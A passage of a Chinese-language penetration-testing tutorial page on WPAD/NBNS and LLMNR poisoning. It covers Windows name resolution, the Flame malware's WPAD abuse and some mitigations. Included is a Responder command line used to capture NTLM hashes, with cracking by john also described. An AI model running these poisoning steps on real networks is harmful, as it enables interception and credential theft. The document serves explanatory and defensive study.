构造广播NBNS查询 需要使当前dbcp和dns服务器均无法提供的PAC文件位置
4、响应被攻击机用户的广播NBNS查询
如图 攻击主机响应广播NBNS查询并指定PAC文件位置 被攻击主机访问指定的PAC位置请求下载 wireshark抓包如图 广播NBNS查询包,如图 NBNS查询响应包,如图 被攻击主机请求PAC文件位置,如图 攻击主机回复PAC文件信息,如图

Tips: 虚拟机环境下使用wireshark只抓本地数据包,需要取消混杂模式

如图
5、被攻击机用户使用伪造的代理配置上网
可在伪造的代理上面抓取被攻击用户的数据包,中间人攻击成功。

0x05 WPAD实际利用

基于WPAD的中间人攻击有多大威力,超级电脑病毒Flame给了我们很好的示范。

其工作模式如下:


1、SNACK: NBNS spoofing
监听当前网络,如果收到了NBNS查询包含WPAD字符,立即伪造NBNS响应
2、MUNCH: Spoofing proxy detection and Windows Update request
提供WPAD服务,用来更改被攻击主机的WPAD设置 当其成功作为被攻击主机的代理后,会劫持特定的Windows更新请求,提供带有后门的windows更新文件给用户下载 如图为测试环境下抓到的windows更新请求包 Burp suite抓到的数据包: Flame最终成功实现了基于WPAD实施中间人攻击,篡改windows更新数据,最终感染了内网其他主机。

0x06 防护

可通过如下设置关闭WPAD应用来避免此种攻击:
Internet Explorer
-
Internet Options
-
Connections
-
LAN settings
取消选中
Automatically detect settings
如图 如果已被NBNS中间人攻击,可通过查看netbios缓存检查
nbtstat -c
如图

0x07 补充

Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

Responder可以说是内网中间人攻击神器,很值得尝试 简单使用命令如下:
git clone https://github.com/SpiderLabs/Responder.git cd Responder/ python Responder.py -I eth0 -i 192.168.16.245 -b
当被攻击主机访问主机共享时就能抓到其hash,如图

0x08 小结

虽然WPAD不是很新的技术,但是对其了解的都不太多,在内网渗透中应该被重视。 参考资料:
http://drops.wooyun.org/papers/10887#comments http://www.netresec.com/?page=Blog&month=2012-07&post=WPAD-Man-in-the-Middle http://wenku.baidu.com/link?url=KFoXTvqgxnNR1lxM_2dHCCRlJXp0D2GXa80fI7BCjR7XSoDqv2jmLJ8WJoSaew9MFSpKmTDV9lxNF2XKhTaJ1T8rSghDrhZ71OqlQ1yqx-a http://www.ibm.com/developerworks/cn/linux/1309_quwei_wpad/ https://securelist.com/blog/incidents/33002/flame-replication-via-windows-update-mitm-proxy-server-18/ https://github.com/SpiderLabs/Responder https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/spoof/nbns/nbns_response.rb https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/wpad.rb https://www.trustwave.com/Resources/SpiderLabs-Blog/Responder-2-0---||||||Owning-Windows-Networks-part-3/ https://github.com/lgandx/Responder-Windows http://www.censornet.com/pdf/WPAD-Configuration-Guide.pdf http://findproxyforurl.com/wpad-introduction/
本文由三好学生原创并首发于乌云drops,转载请注明
本文作为一篇科普文章,阐述了 Windows 系统中的名称解析机制,同时也提及了几种利用名称解析机制的缺陷进行内网攻击的方式。

0x00 Windows 名称解析简介

TCP 协议的通信是基于 IP 地址的,“名称解析”就是把需要访问的计算机的名字解析为 IP 地址的过程。
Windows 中的名称类型
在 Windows 操作系统中,有两种名称,分别为:主机名称 和 NetBIOS 名称。
主机名称
从狭义上来说,主机名称正如它的字面意思一样就是一台主机的名字。从广义来说,它又不仅仅包含计算机的名字,也包含互联网中的域名。 由于域名是以树状的形式所表现的,同时也是主机名称的一种,所以主机名称是有层次的,最大长度为 255 个字符,允许的字符有 A~Z,a~z 和字符“-”。在域名系统中有一种标识一台主机的 DNS 名字的域名叫做 完全限定域名(FQDN),FQDN 是由“.”连接主机名字和主域名后缀组合成的,例如,seclab.her0in.org 的 FQDN 名称就是 seclab 。
NetBIOS 名称
在 Windows 系统中的另外一种名称就是 NetBIOS 名称,准确的说 NetBIOS 名称并非是一种名字系统,而是 Windows 操作系统网络的一个编程接口,允许主机之间使用 NetBIOS 名称进行通信,通信过程是建立在 NetBIOS 协议之上的。在安装完 Windows 系统后系统会默认使用计算机的名字做为当前主机的 NetBIOS 名称。它的最大长度为 16 个字符,其中最后一位是不可配置的,用于指定 NetBIOS 的服务类型。如果计算机名称不足 15 位则使用空格补全到 15 位,反之,如果计算机名称超过 15 位 则会截取前 15 位。常见的 NetBIOS 后缀有 0x20(文件和打印服务)、0x00(工作站服务)、0x03(报信者服务)等。

使用nbtstat -n命令查看本机的 NetBIOS 名称。 使用nbtstat -A ipaddress命令查看指定 IP 主机的 NetBIOS 名称。

0x01 Windows 名称解析相关协议

在 Windows 系统中有三种与名称解析相关的协议。
Windows 名称解析之 DNS协议
DNS 协议是一种最主要的也是操作系统首选的进行名称解析的协议,几乎每一种操作系统都支持 DNS 协议,同时, DNS 协议支持 IP v4 和 IP v6。DNS 协议在实现名称解析的过程中,在客户机上没有任何本地的数据库文件,完全依赖于 DNS 服务器,所监听的端口是 UDP/53 。在客户机上可以使用ipconfig /displaydns命令来查看本机的 DNS 缓存,使用ipconfig /flushdns命令清除本机的 DNS 缓存。
DNS 的名称解析过程如下
读取本机 DNS 缓存(已经包含本机 hosts 文件内容) 如果缓存中没有,则会请求网络配置中配置的 DNS 服务器 如果 DNS 服务器未作出响应,则请求失败。反之,DNS 服务器则会处理用户请求。
Windows 名称解析之 NetBIOS 协议
除了 DNS 之外,在早先版本的 Windows 中也使用 NetBIOS (network basic input/output system,网络基本输入输出系统)进行名称解析。本文介绍的 NetBIOS 协议名称解析是微软后来定义的 nbt 即 NetBIOS over TCP/IP 的名称解析类型。 nbt 服务监听的端口为 UDP/137,其进行名称解析的形式为向当前主机所在的子网域发送广播包。所以,当你使用抓包工具在局域网中抓包时总会收到很多 NBNS 数据包。 由于 NetBIOS 协议进行名称解析是发送的 UDP 广播包。这样做虽然速度快且无需额外的配置,但是广播包不能跨越网域同时也会增加一些网络流量,因此微软在后来推出了 WINS(Windows Internet Name Service)服务器,当计算机配置为使用 WINS 服务器进行名称解析时,客户机将直接和 WINS 服务器进行单播通讯,这样就可以弥补 NetBIOS 协议使用广播进行名称解析的不足。
综上所述,NetBIOS 协议进行名称解析的过程如下

1. 检查本地 NetBIOS 缓存 2. 如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求 3. 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播 4. 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件 5. lmhosts 文件位于C:\Windows\System32\drivers\etc\目录中。

使用nbtstat -c命令查看本机的 NetBIOS 缓存 使用nbtstat -R命令清除本机的 NetBIOS 缓存


Windows 名称解析之 LLMNR 协议
DNS 协议的名称解析虽然高效但是需要在局域网中单独配置一台服务器作为 DNS 服务器,NetBIOS 协议的名称解析在一些情况下也需要单独配置一台 WINS 服务器,而且 NetBIOS 协议不支持 IP v6。因此,为了弥补这些不足,微软在 Windows Vista 之后推出了基于端到端的名称解析协议 — 本地链路多播名称解析(Link-Local Multicast Name Resolution)简称为 LLMNR。 LLMNR 也称作多播 DNS ,因为其数据包格式类似于 DNS 的数据包。监听的端口为 UDP/5355,支持 IP v4 和 IP v6 ,并且在 Linux 上也实现了此协议。其解析名称的特点为端到端,IPv4 的广播地址为 224.0.0.252,IPv6 的广播地址为 FF02:0:0:0:0:0:1:3 或 FF02::1:3。
LLMNR 进行名称解析的过程为

1. 检查本地 NetBIOS 缓存 2. 如果缓存中没有则会像当前子网域发送广播 3. 当前子网域的其他主机收到并检查广播包,如果没有主机响应则请求失败

0x02 Windows 系统名称解析顺序

影响 Windows 系统名称解析的两个因素
操作系统版本
从上述一小节中,可以发现,并非所有的操作系统版本都支持上述三种协议。 Windows 2K , XP , 2K3 只支持 DNS 和 NetBIOS。 所以此类版本的 Windows 都是先进行 DNS 名称解析,如果 DNS 解析名称失败,才会进行 NetBIOS 名称解析。 Windows Vista 之后(包括 2K8 , Win7,Win8.x,Win 10)都支持上述三种协议,在这类 Windows系统中的名称解析顺序为:先进行 DNS 名称解析,如果 DNS 解析名称失败,则会使用 LLMNR 进行名称解析,最后才会使用 NetBIOS 名称解析。
网络节点模式
还有一种影响 Windows 系统名称解析的一个因素就是当前主机的网络节点模式。可以使用ipconfig /all命令查看本机的网络节点模式,如下图: 图 1 查看本机网络节点模式 网络节点模式最主要会影响 NetBIOS 名称解析过程,是优先查询 WINS 服务器还是先在子网域中进行广播。具体的及节点模式描述如下: B-节点(broadcast,广播)   Windows 使用广播来进行名称注册和名称解析,依据网关的配置,一个 B 节点客户机发送的数据包不能够超出局域网的范围。但是,B 节点并不适合于大型网络,实际上微软修改了标准的 B 节点类型,当 Windows 尝试解析名称时,首先检查 LMHOSTS 名称缓存,如果此行不通,Windows 就会发送广播,如果广播依然失败的话,那Windows 才会检查实际的 LMHOSTS 文件。 P-节点(per-to-per,对等)   这种方法并不使用广播,而是在计算机启动时,在网络中的 WINS 服务器上注册它们的名称,当计算机需要解析名称时,它会发送一个解析请求给 WINS 服务器。这种方法只在 WINS 服务器正常运行时有效,如果 WINS 服务器失败,则无法进行名称解析。 M-节点(mixed,混合)   Windows 联合使用 B 节点和 P 节点,并且默认使用 B 节点,如果 M 节点不能利用广播进行名称解析,它就使用 P 节点的 WINS 服务器来完成工作。 H-节点(hybrid,混合)   同样也是联合使用 B 节点和 P 节点,但工作方式相反,如果使用 WINS 服务器方式不能成功,则使用 B 节点的工作来完成工作。此节点模式也是目前 Windows 系统默认使用的节点模式。

0x03 利用 Windows 名称解析机制的缺陷进行内网攻击

常见的利用 Windows 名称解析机制的缺陷进行攻击的技术有 DNS Spoof ,NBNS Poison ,LLMNR Poison , ICMP Redirection。 可以使用 SpiderLabs 出的 Responder,或者 ZARP 工具包进行上述攻击。 LLMNR Poison 攻击环境如下:

攻击者主机(Linux)IP 192.168.237.133 受害者主机(Windows 8.1) IP 192.168.237.129 两台主机处于同一个局域网中

攻击者在启动 Responder 后,当受害者去访问一个在当前局域网中不存在的主机时就会触发 LLMNR Poison 攻击,如下图所示: 图 1 : 受害者主机 PING 一台局域网中并不存在的主机 图 2 :Responder 会响应 LLMNR 的广播包并进行了 Poison 攻击 图 3 :在受害者的主机中 NetBIOS 缓存中已经加入了被 Poison 攻击的主机 IP 记录 上述攻击演示中,已经证实了 LLMNR Poison 攻击的效果,可以利用让受害者访问不存在的主机的共享进行 LLMNR Poison 攻击,这样可以获得受害者主机的 HASH ,拿到 HASH 就可以进行暴力破解了,如果是弱口令的话,就可以爆破出密码。同样也可以利用让受害者访问不存在的 HTTP 服务器进行 401 认证拿到客户端的 HASH,如下图所示: 图 4 :受害者访问一个不存在的主机的共享 图 5 :LLMNR Poison 攻击拿到了 SMB 验证过程中的 HASH 图 6 :使用 john 对 HASH 进行暴力破解

0x04 参考及引用


https://support.microsoft.com/en-us/kb/119493 https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution https://support.microsoft.com/en-us/kb/163409 https://support.microsoft.com/en-us/kb/160177 http://read.newbooks.com.cn/info/132528.html

导出当前域内所有用户hash的技术整理,巧用DSRM密码同步将域控权限持久化,得到内网域管理员的5种常见方法,非扫描式定位攻击域内SQL Server,从活动目录获取域管理员权限的各种姿势,使用LDAP查询快速提升域权限,MSF渗透测试(meterpreter篇),MSF渗透测试笔记(基础篇),MSF渗透测试笔记(内网渗透篇),meterpreter常见脚本介绍,MSF中libmproxy简单介绍,powershell各种反弹姿势以及取证,从外围进入各大公司内网的方式,内网渗透中转发工具总结,内网渗透随想,新思路的探索与验证,利用 LLMNR 名称解析缺陷劫持内网指定主机会话,利用 NetBIOS 协议名称解析及 WPAD 进行内网渗透,利用被入侵的路由器迈入内网,通过DNS TXT记录执行powershell,域渗透的金钥匙,域内渗透基本技巧,域渗透之Dump Clear-Text Password,域渗透之Hook PasswordChangeNotify,域渗透之Pass The Hash & Pass The Key,域渗透之Security Support Provider,域渗透之Skeleton Key,Powershell c# and .NET,Powershell Bypass AV,Powershell Remoting,Powershell 提权框架,MOF后门,基于WPAD的中间人攻击,Windows 名称解析机制探究及缺陷利用,知识盒子,知识付费,在线教育